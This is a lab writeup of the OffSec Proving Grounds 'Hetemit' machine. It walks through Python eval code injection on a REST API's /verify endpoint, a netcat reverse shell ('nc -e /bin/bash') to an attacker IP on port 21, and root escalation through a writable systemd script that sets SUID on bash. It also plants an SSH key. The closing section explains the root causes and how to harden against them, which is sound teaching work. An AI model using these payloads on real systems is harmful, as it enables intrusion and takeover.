PT1 certified | OSCP in progress

Hetemit – OffSec Practice Writeup

Hetemit OffSec Proving Grounds Practice writeup cover

This Hetemit OffSec Practice writeup walks through unauthenticated Python code injection in a REST API, a reverse shell over an egress-allowed port, and a writable root systemd service triggered by a sudo reboot to escalate to root.

Summary

Hetemit exposes a large attack surface — FTP, SSH, Samba, Apache, a Ruby/Rails app and a Python REST API — most of which are deliberate distractions. The foothold lives in the Python API on port 50000, whose /verify endpoint passes a user-supplied parameter straight into a Python eval()/exec() sink, yielding server-side Code Injection and Remote Code Execution. The target enforces egress filtering, so the reverse shell only succeeds over a commonly allowed port. Local enumeration reveals a root-owned systemd service that launches a user-writable script; combined with a sudo rule permitting a reboot, this writable systemd service becomes a reliable root trigger. We weaponize the script to make /bin/bash SUID, plant an SSH key for re-entry, reboot, and reconnect for root.

Reconnaissance

rustscan -a 192.168.113.117 -- -sCV
PORTSERVICEINFO
21/tcpvsftpd 3.0.3Anonymous FTP login allowed (code 230); directory listing times out
22/tcpOpenSSH 8.0 (protocol 2.0)RSA/ECDSA/ED25519 host keys
80/tcpApache httpd 2.4.37 (CentOS)Default CentOS Apache test page (Chinese locale title)
139/tcpSamba smbd 4NetBIOS session service
445/tcpSamba smbd 4.11.2Null auth allowed; shares print$, Cmeeks (cmeeks Files), IPC$
18000/tcpHTTP (Protomba / Ruby on Rails)Returns Rails "Action Controller: Exception caught" pages; registration gated behind an invite code
50000/tcpWerkzeug httpd 1.0.1 (Python 3.6.8)Python REST API; no page title; methods GET/OPTIONS/HEAD

Service triage

  • SMB (445): a null session enumerates the shares but we have no read permission on Cmeeks, so this is a dead end for now.
nxc smb 192.168.113.117 -u '' -p '' --shares
# print$   Printer Drivers
# Cmeeks   cmeeks Files
# IPC$     IPC Service (Samba 4.11.2)
  • Port 80 is the stock CentOS Apache test page — nothing actionable.
  • Port 18000 runs a Ruby on Rails app ("Protomba"). User registration requires an invite code we don’t have. Browsing any invalid path returns a Rails routing-error page that leaks the available routes — useful for mapping but no immediate way in.
  • Port 50000 is a bare Python/Werkzeug API. Werkzeug 1.0.1’s debugger-console RCE looks tempting but is a rabbit hole here (debugger not exposed). Hitting unknown routes reveals two real endpoints: /generate and /verify.

Initial access

Mapping the API

The two endpoints form a request/response pair:

  • /generate expects an email parameter via POST and returns a code.
POST /generate HTTP/1.1
Host: 192.168.113.117:50000
Content-Type: application/x-www-form-urlencoded

email=test@test.com
  • /verify takes that code value — but submitting it raises an Internal Server Error, a strong hint that the input is being parsed by the Python interpreter rather than compared as a string.

Code Injection → RCE

We test the /verify endpoint as an eval()/exec() sink by feeding it Python instead of a code value → see Code Injection. os.system() returns an exit status rather than stdout, so a working injection echoes back 0:

POST /verify HTTP/1.1
Host: 192.168.113.117:50000
Content-Type: application/x-www-form-urlencoded

code=os.system("echo hello")

The response is 0 — blind code execution confirmed. We validate it out-of-band with a callback to our listener:

code=os.system("curl http://192.168.45.249/test")

The request lands on our HTTP server, proving execution.

Reverse shell (defeating egress filtering)

A standard reverse shell to port 4444 fails every time — the target’s egress filtering silently drops uncommon outbound ports. Retrying the listener on a commonly allowed port (21) works:

# Attacker — listen on an egress-allowed port
nc -lvnp 21
# Victim — same payload, allowed port
code=os.system("nc -e /bin/bash 192.168.45.249 21")

A shell returns as the service account.

Privilege escalation

Enumeration

Running LinPEAS surfaces a writable root service → see Writable Systemd Service:

./linpeas.sh
cat /etc/systemd/system/pythonapp.service
[Service]
Type=simple
WorkingDirectory=/home/cmeeks/restjson_hetemit
ExecStart=/home/cmeeks/Tools/hack.sh     # attacker-writable script
TimeoutSec=30
RestartSec=15s
User=root                                 # runs as root
ExecReload=/bin/kill -USR1 $MAINPID
Restart=on-failure

The unit runs hack.sh as root on start, and that script sits in a directory we can write to. We also check our sudo rights:

sudo -l
# (ALL) /sbin/reboot

A permitted reboot is exactly the trigger we need: on boot, systemd restarts pythonapp.service → executes our hack.sh as root.

Weaponization

# 1. Make the root-run script set the SUID bit on bash.
cat > /home/cmeeks/Tools/hack.sh <<'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF
chmod +x /home/cmeeks/Tools/hack.sh

The reverse shell will die on reboot, so we stage SSH re-entry first → see SSH Keys:

# 2. Generate a keypair and authorize it for cmeeks.
ssh-keygen -f key -N ''
cat key.pub >> /home/cmeeks/.ssh/authorized_keys
# 3. Trigger the service via the permitted reboot.
sudo /sbin/reboot

Root

After the host comes back up, log in with our key and drop into a root-euid shell via the SUID bit:

ssh -i key cmeeks@192.168.113.117
/bin/bash -p
id
# uid=1000(cmeeks) gid=1000(cmeeks) euid=0(root) ...
cat /root/proof.txt

Conclusion

Hetemit is a lesson in cutting through a noisy attack surface. Seven services are exposed but only one — the Python REST API — is the intended path; FTP, SMB, Apache, the Rails app and the Werkzeug "CVE" are all distractions. The root cause of the foothold is textbook: user input flowing into a Python eval()/exec() sink. The fix is to never evaluate request data as code and to use a safe parser instead.

The privilege escalation stems from two misconfigurations that are only dangerous together: a root-owned systemd unit whose ExecStart script is writable by an unprivileged user, and a sudo rule that lets that same user reboot the host. Either alone is low risk; combined, they hand over root deterministically. Hardening means root-owning both unit files and every script they launch, running services unprivileged, and reviewing sudo grants in the context of what they can trigger.

Index